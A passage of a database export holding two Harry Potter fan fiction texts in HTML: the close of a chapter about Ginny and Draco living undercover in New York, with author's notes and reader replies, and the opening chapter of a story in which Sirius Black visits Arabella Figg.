</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You are probably loving this. Me miserable.&#8221; She said, wiping her eyes with a hanky Herald pass to her. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m not that cruel.&#8221; He said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, I&#8217;m sure your just <i>charming</i>.&#8221; She said sarcastically.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, actually&#8230;&#8221; He trailed off with a gleam of malice in his eyes. Ginny glared at him and stomped off into the hall. Herald shook his head at the young man. He was twenty-six, surely he&#8217;d be old enough to know how to treat a woman. &#8216;But, unfortunately, he doesn&#8217;t.&#8217; Thought Herald, shaking his head then sitting down to finish up some paperwork. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>A/N: Not to confuse anyone but this is when they change from Ginny and Draco to Elise and Isaac. If you get confused just because you decided to skip this message just because you figured I&#8217;d have nothing important to say well then&#8230; you suck. Just kidding&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Elise stuffed her bag into an overhead compartment and had to fight to snap it closed. &#8220;I don&#8217;t understand why we can&#8217;t just appa-&#8220; She began, Isaac covered her mouth with his hand. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shhh, Elise.&#8221; Isaac hissed. &#8220;You&#8217;ll blow our cover, you prat.&#8221; Elise glared at him. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I am <i>not</i> a prat.&#8221; She said sulkily. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Right&#8230;&#8221; Isaac said. Elise didn&#8217;t bother retorting because he had opened up a glossy-cover book and began reading it. She tilted her head to read the title. &#8216;<u>The Shining</u> by Stephen King.&#8217; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8217;s shining?&#8221; She asked him. He glanced up, annoyed. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; He asked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What shines? In your book.&#8221; She repeated. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh&#8230; well the little boy has a psychic power called <i>The Shining</i>.&#8221; He said, opening the book to the page he left and read again.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh&#8230;&#8221; She said, unzippering her own rucksack to see what book she had brought to read. &#8216;<u>Gone With The Wind</u>,&#8217; She read off the very well-worn books cover. Her favorite book. She had probably read it a million times. She stole a glance at Isaac and her face took flame. Maybe she&#8217;d save it for later. She reached in again and pulled out a much thinner hardcover book called &#8216;<u>The Parallel Universe of Liars,</u>&#8217; it had seemed as if in no time a crackly voice came over the plane&#8217;s loudspeaker making them aware of the fact that they would be landing shortly. </p>\n\n<p>&nbsp;</p>\n\n<p>Elise sighed. She hated being ripped from books she really liked. She stuffed it into her rucksack and zippered it closed. Beside her Isaac did the same thing. The plane landed swiftly on the ground and in no time Isaac and she were hailing down a taxi to get to Parker and Charlotte&#8217;s home, their new place of residence. Isaac handed the cab driver a slip of paper that he had written the address on and the cabdriver, a man with a black ski cap and mess of blond hair under that, nodded and set off. </p>\n\n<p>&nbsp;</p>\n\n<p>Elise looked out the window. She had never been to New York, or even America for that matter. It was similar to London but had an air of difference. Other than the fact that there were American Flags adorning a lot of the buildings it was also much sunnier than in dreary old London (<b>A/N</b>: I&#8217;ve never been to London&#8230;). After about half an hour in the smelly cab they arrived at the apartment building they would reside in for however long until Cooper was found. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Its so tall,&#8221; Elise breathed. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Aye, but it&#8217;s a shrimp compared to most of the buildings around here.&#8221; Isaac said. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;ll be $26.00,&#8221; The cabdriver said, as he helped Elise and Isaac get their things out of the trunk. Isaac pulled out his wallet and handed the driver two paper bills. The driver reached back into his pocket and presented Isaac with four creased and soft bills then climbed into the cab and sped off. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why did he give you more back?&#8221; Elise asked. Isaac gave her a weird look. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He didn&#8217;t.&#8221; He answered. Then he realized- she&#8217;d been using nothing but galleons and other wizard currency. He pulled out his wallet and showed her the bills. He pulled out one of his bills from the cabdriver and one of his own ten dollar bills and showed her how the ten was more because it had a higher number. She seemed to understand but was anxious to meet their new roommates. As soon as Isaac stopped talking she started up the stoop and clicked the button with apartment 23M on it. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Huh?&#8221; A voice crackled at her. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Umm, Hello there, I&#8217;m G- Elise O&#8217;Niell and I am here with Isaac Redmond and we are supposed to be living here with Parker and Charlotte.&#8221; Elise said nervously. Isaac slapped his forehead at her dangerous mistake. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh!&#8221; A feminine voice exclaimed, &#8220;Lemme talk, Park! Hey this is Charlotte I&#8217;m gunna buzz you in.&#8221; Elise was then able to open the door. &#8220;We&#8217;ll be down in a sec to help you get all your crap up here.&#8221; Charlotte said. Elise and Isaac lugged their bags into the lobby and waited patiently, examining their surroundings. It was a big room. An elevator was on one wall and a stair case was infront of them. It was painted brick red and had a denim couch and a fish tank and other trendy types of furniture. Soon after Elise had concluded she&#8217;d enjoy living there a tall man and a woman who was a bit shorter than him barreled off the elevator. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ohmygod!&#8221; Charlotte exclaimed, running to Elise and giving her a hug. Elise was taken back at such an act without really speaking to each other but before she could even blush Charlotte moved on to giving Isaac a big hug, also. &#8220;Its <i>so</i> great to finally meet you!&#8221; She exclaimed again. Elise looked at Charlotte. She had short pixie-ish blond hair with bolts of wild red zooming through it and was wearing a tee-shirt that said &#8216;New Found Glory,&#8217; Across the front and tight blue jeans. She reminded Elise of a fairy. She was tall and thin. Elise shifted her gaze to Parker. He was tall with broad shoulders. His hair was lightly mussed and he was wear emo-kid glasses. He was wearing a shirt that said &#8216;Weezer,&#8217; across the front and baggy jeans. He was cute but he lingered behind Charlotte. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey.&#8221; He said shyly.</p>\n\n<blockquote>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </blockquote>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t mind him he&#8217;s shy as hell.&#8221; Charlotte whispered to Elise. &#8220;So how about we get you guys moved!&#8221; She said cheerily.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Aye,&#8221; Agreed Isaac, &#8220;These bags are quite heavy.&#8221; Charlotte snorted. &#8220;Whats so funny?&#8221; He asked.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;T-That voice!&#8221; She laughed.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I can&#8217;t help it if that&#8217;s the way I speak.&#8221; He said, narrowing his eyes. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t worry about it, Austin. Its cute.&#8221; She laughed.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>Austin</i>?&#8221; He asked.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know, Powers? He was British and had that cute little accent.&#8221; Explained Charlotte. Isaac shrugged with a grimace and pulled his stuff onto the elevator. &#8220;But hardly that cute little butt.&#8221; She whispered to Elise. Elise looked at her in shock. &#8220;Don&#8217;t worry, I understand you saw him first, I won&#8217;t make a move but I&#8217;d worry about Parker. He was giving him the once over.&#8221; Laughed Charlotte.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why would I want to make a move!&#8221; Elise exclaimed, &#8220;He&#8217;s obnoxious!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh&#8230; well he is cute though&#8230;&#8221; Charlotte said thoughtfully. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><b>A/N</b>: Ok&#8230; I hope you enjoyed that. Please review, I&#8217;d appreciate but I won&#8217;t hold you hostage for them&#8230; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><b>Nettleanna</b>: OK this sort of bothered me&#8230; I just put that so I wouldn&#8217;t keep writing a story no one like. Plus (OK, no offense Ryoko, cuz you rock, like seriously) but Ryoko is a &#8216;big name&#8217; person, right? Well she had asked everyone to review for her story or else she would discontinue her other one. I think that&#8217;s the same thing more or less and you should watch what you say sometimes. It was just sort of&#8230; mean. But I hope you will still read the story.</p>\n\n<p><b>Zika</b>: I wrote more!</p>\n\n<p><b>Liz</b>: Thank you!!</p>\n\n<p><b>Desdemona</b>: Thank you sooo much!</p>\n\n<p><b>Erin</b>: Thank you a ton!</p>\n\n<p><b>Srox4690</b>: Not so much. Maybe a little but I may include a little about what everyone&#8217;s doing next chapter.</p>\n\n<p><b>Jacy</b>: Thank you!!</p>\n\n<p><b>MalfloyMy Ferret</b>: Yes mom&#8230;. Jkjkjkjk</p>\n\n<p><b>MostEvilKitten</b>: Yea&#8230; weird, I know.</p>\n\n<p><b>Syd</b>: Misery terminated.</p>\n\n<p><b>Quienna</b>: The whole thing was, I did have a lot about Ginny making the decision to go into the WPS and leave her family but my computer crashed and I had to rewrite it and I forgot that part (I&#8217;m stupid&#8230; LoL)</p>\n\n<p><b>Clair</b>: Cooper is both. I know people with the first and last name Cooper (Different people- I know no one named Cooper Cooper) and it was the first name that popped into my head and I couldn&#8217;t find one that fit better- same with the names Elise and Isaac. </p>\n\n<p><b>Nonny</b>: Thank you!</p>\n\n<p><b>Fanficfan</b>: You&#8217;ll have to wait and see&#8230;</p>\n\n<p><b>Sarandraith</b>: LoL! Yes, I think that whole thing is true. He is a sissyboy&#8230;.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><b>&nbsp;</b></p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p> '),
	(260, 1, ' <p>Author&#8217;s note: This novel was written before <i>Harry Potter and the Order of the Phoenix</i> was written.I wanted to take this opportunity to thank everyone that voted for my fic in the Portkey\'s First Reader\'s Choice Awards. I greatly appreciate the honor of winning the Best Novel Length Fanfic on this site. I shall definitely mention that award in my future writing ventures and in trying to interest literary agents and publishers. Thank you! </p>\n\n<p>This story was originally published on Schnoogle as &#8220;Sirius Black&#8217;s Secret Love.&#8221; I&#8217;ve made a few changes to it, but it will be essentially the same story. There were a few readers who thought the title had been misleading, so this is an attempt to do a better job of naming my story. Please note that this chapter is told through 3<sup>rd</sup> person Arabella Figg&#8217;s POV. Starting in Chapter Two the narration reverts to the standard 3<sup>rd</sup> person Harry Potter&#8217;s POV. This is only because I didn&#8217;t want Harry to eavesdrop over this chapter, but wanted the reader to be able to know what transpired. I&#8217;d also like to thank my beta readers Cara Hicks and Amanda Byer for offering terrific suggestions to strengthen my writing. This is also dedicated to the wonderful online community that is the Harry Potter for Grown Ups list where we debate our theories on a daily basis, many listies will recognize theories that have been floated there and served to inspire my imagination.</p>\n\n<p>Disclaimer: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p></p>\n\n<p>Rating: R &#8211; For adult themes and sexual intimacy.</p>\n\n<p></p>\n\n<p>Chapter One &#8211; Arabella&#8217;s Surprise Messenger</p>\n\n<p></p>\n\n<p>Mrs. Figg had just finished her afternoon tea when she heard a familiar sound. Albus Dumbledore wanted to speak with her through her fire. She lived in a Muggle neighbourhood and was careful to make sure that any magical aspects of her house were carefully concealed so that if any of her neighbours visited they wouldn&#8217;t see anything out of the ordinary. Mrs. Figg stood up from her kitchen table and removed the whistling teakettle from the gas stove. She took her wand out from her deep pocket and waved it over the flames.</p>\n\n<p>&#8220;Yes, Albus. What did you want to tell me?&#8221;</p>\n\n<p>Dumbledore&#8217;s head appeared in the flames in miniature. Only a portion of his long hair and beard was visible.</p>\n\n<p>&#8220;Arabella, please open your fireplace flue. You will be receiving someone who will give you some dire news and a new assignment from me. Do not be alarmed by the messenger &#8211; he is to be trusted. You&#8217;ll understand after you hear his story, which has been verified by me. That is all for now.&#8221;</p>\n\n<p>Dumbledore&#8217;s face popped and the flames resumed their normal height. Mrs. Figg replaced the kettle to the burner and shut the flame off. </p>\n\n<p>Dumbledore&#8217;s words echoed in her head. &#8220;Don&#8217;t be alarmed by the messenger.&#8221; She began to wonder who Dumbldore was sending. She started to frown. She understood that Dumbledore could often be cryptic, especially when communicating from a distance. He was cautious to not reveal too much that somehow might be intercepted by others. That was why he was sending someone in person to give her detailed information.</p>\n\n<p>Mrs. Figg moved to her fireplace and mechanically opened the flue. She also waved her wand about a foot above the mantel and magically reconnected it to the Floo Network. Most wizards and witches had their fireplaces constantly connected to this network. She saw this as a vulnerability where anyone could fly into your house unannounced and attack you. Therefore she only allowed travel by Floo powder under her own control.</p>\n\n<p>Mrs. Figg sat down in her favourite chair and held her wand in her lap. She would be armed and ready for whomever Dumbledore was sending. She looked at the clock on the mantel. Any minute now. Then she heard the rumbling of someone coming through the chimney and landing on her hearth. Her eyes opened wide as she recognized the figure, struggling to stand. Before her stood a man wearing ragged robes and having long matted hair and a shaggy beard. The orange tabby cat that was sitting at her feet arched his back and hissed.</p>\n\n<p>&#8220;Sirius Black!&#8221; Her knuckles were white from clutching her wand tightly.</p>\n\n<p>&#8220;Arabella, didn&#8217;t Dumbledore tell you I was coming?&#8221;</p>\n\n<p>Her eyes were cold towards him.</p>\n\n<p>&#8220;He told me to expect someone, but didn&#8217;t say who. Give me your message and then give me one good reason why I shouldn&#8217;t kill you.&#8221;</p>\n\n<p>He held out his hands in front of him.</p>\n\n<p>&#8220;Please, calm down. The message is lengthy &#8211; you need to know that Voldemort has risen. He has a body once again and Dumbledore needs our help to counter Voldemort&#8217;s forces. I&#8217;ll tell you all about that, but first I must tell you that I never betrayed the Potters. That evil deed was done by Peter Pettigrew. I had tried to track him down and seek revenge, but he got the better of me.&#8221;</p>\n\n<p>Arabella Figg&#8217;s eyebrows furrowed. &#8220;But you killed him as well as a street full of Muggles.&#8221;</p>\n\n<p>Sirius shook his head slowly. &#8220;No. Pettigrew faked his own death and caused the explosion. He framed me for everything. I snapped. Lily&#8230;James&#8230;and then all those innocent people killed by someone I thought was my friend. I had trusted him. And I misjudged and underestimated him...I was devastated. When agents from the Ministry came &#8211; I was hopeless in stating my case. They didn&#8217;t even test my wand, they just sent me to Azkaban without a trial.&#8221;</p>\n\n<p>Sirius then told her of Pettigrew, James and himself being unregistered Animagi and how Pettigrew lived for twelve years as a rat. Arabella was visibly shaken when she heard how close Pettigrew had been to Harry Potter. After he finished telling her how he had escaped from Azkaban in order to save Harry and how Wormtail had escaped after that night in the Shrieking Shack, she had tears streaming down her face. </p>\n\n<p>&#8220;Oh, Sirius. You don&#8217;t know how many nights I laid awake wondering how I missed signs about you. I blamed myself since we had worked so closely together and I felt responsible for&#8230;everything.&#8221;</p>\n\n<p>Sirius crossed the room and sat down on the edge of the sofa nearest Arabella&#8217;s chair. She set her wand down and Sirius took her hands in his in a comforting gesture. The cat at this point crawled up on the hearth and started to sleep, he was now satisfied that the visitor meant no harm.</p>\n\n<p>&#8220;That&#8217;s how I felt about Pettigrew. Thoughts of betrayal, vengeance and the bitter taste of injustice were all my constant companions. They weren&#8217;t happy thoughts so the Dementors couldn&#8217;t feed off of them. Somehow I managed to maintain some semblance of sanity. I don&#8217;t want you to start thinking about Pettigrew now. He&#8217;s not worth any more aggravation for anyone. You&#8217;ve punished yourself enough thinking about me.&#8221;</p>\n\n<p>&#8220;Sirius, when I heard about what you were accused of, it hit me really hard. Hours after Lily and James were killed, Dumbledore asked me to watch over Harry. We had the perfect plan. If I was present when Petunia discovered Harry &#8211; then I could work to become a trusted family friend. I was to live here and establish a close relationship with the Dursleys and be a surrogate grandparent for Harry and Dudley. Except&#8230;that&#8217;s not what happened.&#8221;</p>\n\n<p>Sirius frowned. &#8220;What happened?&#8221;</p>\n\n<p>&#8220;Well, the plan worked at first,&#8221; Arabella started slowly. &#8220;I had stationed myself across the street hiding waiting for Petunia to open her door in the morning. She screamed and fainted as soon as she saw Harry. I rang her front doorbell to wake up her husband <st1:city><st1:place>Vernon</st1:place></st1:city>. When he came downstairs I told him that I saw her faint dead away. That&#8217;s when he saw Harry and already he started in muttering. I helped make tea and resuscitate Petunia. Then I worked on feeding and changing the two small boys. I spent all day with them, ingratiating myself with them and offering to help them out as much as possible. And then&#8230;I came home and found out about you and Pettigrew.&#8221;</p>\n\n<p>New tears came streaming down her face. Sirius took one hand and tenderly brushed them away.</p>\n\n<p>&#8220;I was devastated,&#8221; she continued. &#8220;I simply couldn&#8217;t function properly. Nothing could make me get out of bed for a week. By the time I got over my shock and tried to reconnect with the Dursleys, it was too late. They had already decided how they were going to treat Harry. He was an embarrassment and they were going to try to pretend he didn&#8217;t exist. I also became an embarrassment to them, because I knew of Harry&#8217;s existence. I pretended to accept them at their word that a close family friend had dropped off Harry when his parents died in a car crash. So, I was someone they turned to only in times of desperation. In order to seem less of a threat to them &#8211; I became eccentric. The crazy old cat lady. Harry has never known that I&#8217;m here watching over the neighbourhood to protect him from Dark Forces.&#8221;</p>\n\n<p>Arabella had now finished crying. She turned and looked Sirius straight in the eye. &#8220;Dumbledore said I was going to have a new assignment. What is it?&#8221;</p>\n\n<p>&#8220;He wants you to be the new Defense Against the Dark Arts instructor.&#8221;</p>\n\n<p>&#8220;Really? What happened to the last one?&#8221;</p>\n\n<p>Sirius gave a wan smile. &#8220;Well, you see he&#8217;s doesn&#8217;t seem to be able to keep anyone for longer than a year. Last year he had Alastor Moody in that position&#8230;except it wasn&#8217;t really Moody.&#8221; </p>\n\n<p>&#8220;What do you mean?&#8221; </p>\n\n<p>&#8220;It was actually Bartemius Crouch, Jr., a Death Eater who everyone thought died in Azkaban. He and Wormtail had overpowered Moody. Crouch kept him hostage in his own trunk under the Imperius curse.&#8221;</p>\n\n<p>Arabella shook her head slowly. &#8220;Oh poor Alastor. He&#8217;s always been paranoid. I can&#8217;t imagine how he&#8217;ll recover from that.&#8221;</p>\n\n<p>&#8220;I know, there&#8217;s so much more I need to tell you about Crouch and what happened to Harry.&#8221;</p>\n\n<p>&#8220;Yes, yes, I know,&#8221; she said nodding. &#8220;Tell me, who is supposed to watch over <st1:street><st1:address>Privet Drive</st1:address></st1:street> while I&#8217;m at Hogwarts?&#8221;</p>\n\n<p>&#8220;Well, Dumbledore thinks that this would be a good place for me to hide out at.&#8221;</p>\n\n<p>Arabella tried unsuccessfully to stifle a laugh. &#8220;Not looking like that. Oh, we need to do a bit of work to change your appearance. After all, you&#8217;re still a wanted fugitive.&#8221; She shook her head. &#8220;I can&#8217;t believe that Dumbledore didn&#8217;t try to help you get rid of the convict-on-the-run look. Honestly, you look like you just escaped from Azkaban two days ago instead of two years ago.&#8221; </p>\n\n<p>Sirius gave a sheepish grin. &#8220;Well, most of the time I didn&#8217;t appear in my human form, but in my Animagus form.&#8221;</p>\n\n<p>&#8220;That won&#8217;t do you any good in <i>this</i> neighbourhood. Look, why don&#8217;t I get dinner going and you can take a nice long, hot bath. When you get out I&#8217;ll cut your hair. Come and follow me.&#8221;</p>\n\n<p>Arabella crossed to the fireplace and closed the flue and then waved her wand to disconnect it from the network. She took Sirius down a hallway into a tiled bathroom with a bathtub that had a shower attachment. She brought out some large fluffy towels and handed him a razor and shaving cream.</p>\n\n<p>&#8220;Everyone remembers you from your youth as clean shaven with longish hair. Now your wanted photos show you with a beard and long wild hair. Why don&#8217;t you shave and leave a moustache? I&#8217;ll give you a good haircut before dinner. Then we&#8217;ll work on other ways to change your appearance to help you walk with ease in both the Muggle and the Wizarding World.&#8221;</p>\n\n<p>Sirius gave her a big smile. &#8220;Thanks Bella.&#8221; He paused then said softly, &#8220;Could you do me a favour?&#8221;</p>\n\n<p>Arabella returned his smile. &#8220;What&#8217;s that?&#8221;</p>\n\n<p>&#8220;Resume your true form for me. I&#8217;d like to see my old friend and not your disguise.&#8221;</p>\n\n<p>Arabella nodded. &#8220;All right. Just for you. And I&#8217;ll see if I can find any clothes for you. We need to burn these robes. Oh and before you step in the bath, could you please place five drops of this under your tongue?&#8221; </p>\n\n<p>She handed him a small bottle with a green liquid inside. Sirius looked at the bottle quizzically.</p>\n\n<p>&#8220;What is this?&#8221;</p>\n\n<p>Arabella gave a small smile. &#8220;It&#8217;s to rid yourself of ticks and fleas. I give this to all of my cats. If you&#8217;ve been living as a dog for a few years now, I&#8217;m safe in thinking you may have picked up a few fleas. I don&#8217;t let the cats bring them in this house and I&#8217;m not letting you do it either. Have a nice bath.&#8221;</p>\n\n<p>Arabella closed the bathroom door. She could hear the bath filling with water. She then started to imagine Sirius disrobing. She shook her head and started blushing. How long had it been? How long since she had been held tenderly? How long had it been since she was kissed and made love to? Far too long. It had been fifteen years since Robert&#8217;s death. Since Robert&#8217;s <i>murder</i> she quickly corrected herself.</p>\n\n<p>She opened her closet door and looked at the far end. Here were the few things of her late husband that she had kept. She took out a white shirt, black pants and a simple black robe. She didn&#8217;t have any undergarments for Sirius, but right now &#8211; that probably wouldn&#8217;t matter. She doubted that when he was in Azkaban that they would replace any worn out clothes. Instead she assumed that the robes he was wearing were the same ones he had been arrested in. Had he worn any undergarments then, surely they would have been thrown away years ago.</p>\n\n<p>Arabella then looked in her closet for her own clothes. She chose a simple black dress with short sleeves. It was a warm summer&#8217;s evening and there was no real need for a robe. She changed out of the frousy old lady housedress she wore into the black dress. Then she reached for a small vial of potion. She administered three drops of the clear fluid under her tongue and looked in the mirror waiting for it to take effect. Within seconds the wrinkles around her eyes started to melt. Her eyesight started changing and she quickly took off her spectacles, as they were no longer needed. Her hair colour started moving up the strands of her hair until the bun on top of her head was now filled with a honey-blonde coloured hair instead of white. Arabella was now looking at her true self, a forty-four year old woman. She smiled appreciatively at her reflection and noticed how her figure had changed and firmed up.</p>\n\n<p>&#8220;Not too bad, if I do say so myself. Arabella, I haven&#8217;t seen you look this young in ages!&#8221; She laughed to herself and then rubbed her hands together, &#8220;Now about that dinner.&#8221;</p>\n\n<p>Arabella walked into her kitchen and started looking in the refrigerator. What should I make, she wondered. He probably hasn&#8217;t eaten well in years, so it won&#8217;t matter really but&#8230;He needs some good stick to your ribs kind of food. She made her mind up and decided on Shepherd&#8217;s pie, a garden salad and an apple crisp with vanilla ice cream for dessert. She directed her wand in many different directions getting a knife chopping onions, while a pot was filling with water for the potatoes to boil in. Another knife was peeling apples. The kitchen started to fill with the smell of dinner cooking. She allowed her mind to drift backward in time.</p>\n\n<p></p>\n\n<p><i>&#8220;Sirius, I need to talk with you about your sex life.&#8221;</i></p>\n\n<p><i>&#8220;Arabella&#8230;please,&#8221; Sirius sputtered. &#8220; I think my love life is my own business, thank you very much.&#8221;</i></p>\n\n<p><i>&#8220;It would be if you were in love with someone. But you aren&#8217;t. You have a different girlfriend every week. It&#8217;s a liability for us. Sooner or later you&#8217;re going to be on a date with someone who will want to kill you.&#8221;</i></p>\n\n<p><i>Sirius looked at her darkly. &#8220;I think I can take care of myself.&#8221;</i></p>\n\n<p><i>Arabella returned a stern look at him. &#8220;You&#8217;re endangering everyone with your reckless behavior. You don&#8217;t even know half of these women before you go out with them. I&#8217;m assuming you sleep with most of them. That&#8217;s putting yourself in a very vulnerable position. We simply cannot allow you to jeopardize everything we&#8217;ve been working on in the last few years because you cannot control your hormones.&#8221;</i></p>\n\n<p><i>Sirius softened his tone with her. &#8220;That is easy for you and Lily and James to say. You all have found someone to fall in love with. I haven&#8217;t. I&#8217;m just trying to find someone to love.&#8221;</i></p>\n\n<p><i>Arabella continued in a direct and no nonsense manner. &#8220;Love is more than just shagging someone. You need to find someone who you truly like, someone that you can trust, someone that will laugh at your jokes and that makes you laugh. You need to find someone who will love you for who you are and who understands what is in your heart. Going from bed to bed like you&#8217;re doing &#8211; you will never find love. Right now your libido is a liability. You need to either find yourself a steady girlfriend, take a sabbatical from dating for awhile, or you&#8217;re going to have to screen your dates with me first.&#8221;</i></p>\n\n<p><i>&#8220;Whoa, Arabella! I&#8217;ve never seen you like this. You&#8217;re&#8230;&#8221;</i></p>\n\n<p><i>&#8220;Direct, that&#8217;s what I am. Word around town is that you show the ladies a good time in the sack. How come you can&#8217;t get a second or third date?&#8221;</i></p>\n\n<p><i>Sirius blushed darkly. &#8220;I don&#8217;t have to listen to this.&#8221;</i></p>\n\n<p><i>&#8220;You bloody well have to. You report to me and I&#8217;m telling you that we&#8217;re all lucky that you haven&#8217;t been targeted yet and find out that a Tuesday evening girlfriend happens to be a Death Eater in disguise. If they capture you and torture you&#8230;&#8221;</i></p>\n\n<p><i>Sirius&#8217;s anger was rising. &#8220;I&#8217;ll never tell them anything and you bloody well know that.&#8221;</i></p>\n\n<p><i>&#8220;Then they&#8217;ll just kill you,&#8221; she spat at him. &#8220;Sirius you are a brilliant wizard and I don&#8217;t want to lose you. Now start doing some thinking with that larger head of yours for a change. From now on, you cannot just meet someone at the Leaky Cauldron and then take them back to your flat. If you meet someone you&#8217;re interested in, you will make a date with them. But you will bring me their name, year and house from Hogwarts and any other personal information you can gather before you are alone with them.&#8221;</i></p>\n\n<p><i>Sirius rolled his eyes. &#8220;You&#8217;re going to do background checks on them?&#8221;</i></p>\n\n<p><i>&#8220;You bet. I&#8217;ll try to find out anything suspicious and let you be forewarned so that you can be forearmed. And Sirius, this is not negotiable.&#8221;</i></p>\n\n<p><i>&#8220;Very well,&#8221; he muttered darkly under his breath.</i></p>\n\n<p></p>\n\n<p>Arabella started sprinkling the cinnamon sugar over the layers of apple slices in the ceramic dish. She really had liked working with Sirius, it&#8217;s just that he was so cocky and headstrong at times. It infuriated her, but also endeared him to her because that weakness was also his greatest strength. She remembered how Dumbledore came to her and offered her a job as a free-lance Auror. She&#8217;d have more freedom and less bureaucracy than continuing to work for the Ministry of Magic. He also wanted her to train and supervise two new graduates from Hogwarts that he praised highly: Sirius Black and James Potter. Arabella&#8217;s thoughts then drifted to one of her darkest nights.</p>\n\n<p></p>\n\n<p><i>Arabella was watching from a safe distance as two young people were kissing on a bench under a gazebo. It was a warm autumn evening. She was quietly sitting there in her cat form in the shadows and silently wondering whether or not this was even necessary. Sirius started to kiss the young woman&#8217;s neck and then he started to unbutton her blouse. One button, two buttons, three buttons. This exposed an ample amount of cleavage. Arabella started wondering, &#8220;just how far is this guy going to go in the great outdoors?&#8221; He buried his head in the young woman&#8217;s chest and she gave out a low moan. Then Arabella&#8217;s ears straightened and her eyes narrowed. The young woman&#8217;s arm that was supporting her against the bench started to move, but it was not moving towards Sirius&#8217;s back in an affectionate manner. Instead she was reaching behind the bench for something. Arabella saw the glint of moonlight off the blade of a large knife and she transformed back into her human form.</i></p>\n\n<p><i>&#8220;Expelliarmus!&#8221; she roared. The knife flew towards her and she used her wand to slow the knife down and to bring it to her. She took out a handkerchief and placed it on the handle. She carefully smelled the blade and frowned. She then placed the weapon in a large purse.</i></p>\n\n<p><i>Sirius had raised his head immediately when he heard the curse being uttered. His date had flown backward and was knocked unconscious. He then saw Arabella emerge from the shadows.</i></p>\n\n<p><i>&#8220;I was following up on a hunch of mine. There was something in her background check that just didn&#8217;t smell right.&#8221;</i></p>\n\n<p><i>&#8220;Thank you,&#8221; he sighed heavily and then shook his head. &#8220;Maybe I do need a sabbatical from dating.&#8221;</i></p>\n\n<p><i>Arabella smiled, &#8220;We&#8217;ll have to test this knife when we take her to the Ministry, but it smells like a very potent poison on it from the Amazon rain forest. A single scratch can be lethal. Please help me with her.&#8221; </i></p>\n\n<p><i>Arabella conjured ropes around the young woman&#8217;s hands and Sirius slung her over his shoulder. He carried her over to his motorcycle and Arabella climbed on the back. The unconscious woman was then sandwiched between Sirius and Arabella. They rode in silence back to the Ministry of Magic.</i></p>\n\n<p><i>As they entered the Ministry&#8217;s offices Arabella strode to the front desk. &#8220;Hello, Ralph. We&#8217;re here tonight to turn over someone who attempted to murder my partner, Sirius Black. I have the weapon here in my purse with her fingerprints on them. We&#8217;ll revive her as soon as she is securely in custody for interrogation.&#8221;</i></p>\n\n<p><i>Ralph looked up with grave concern in his eyes. &#8220;Arabella, we&#8217;ve been trying to get in touch with you for a couple hours 